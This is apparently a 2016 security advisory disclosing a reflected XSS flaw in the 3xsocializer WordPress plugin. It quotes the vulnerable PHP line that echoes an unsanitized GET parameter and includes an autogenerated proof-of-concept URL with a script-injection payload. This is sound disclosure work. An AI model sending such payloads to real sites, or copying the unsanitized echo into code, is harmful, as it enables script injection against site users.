Advisory #: 593
Title: Reflected XSS in wordpress plugin 3xsocializer v0.98.22
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/3xsocializer
Downloads: 486
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: 3xsocializer
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./3xsocializer/sharing_utility.php: 160: <input type="hidden" name="origin_id" value="<?php echo $_GET['post_id']?>"> The variable post_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./3xsocializer/sharing_utility.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/3xsocializer/sharing_utility.php?post_id="><script>alert(1);</script><"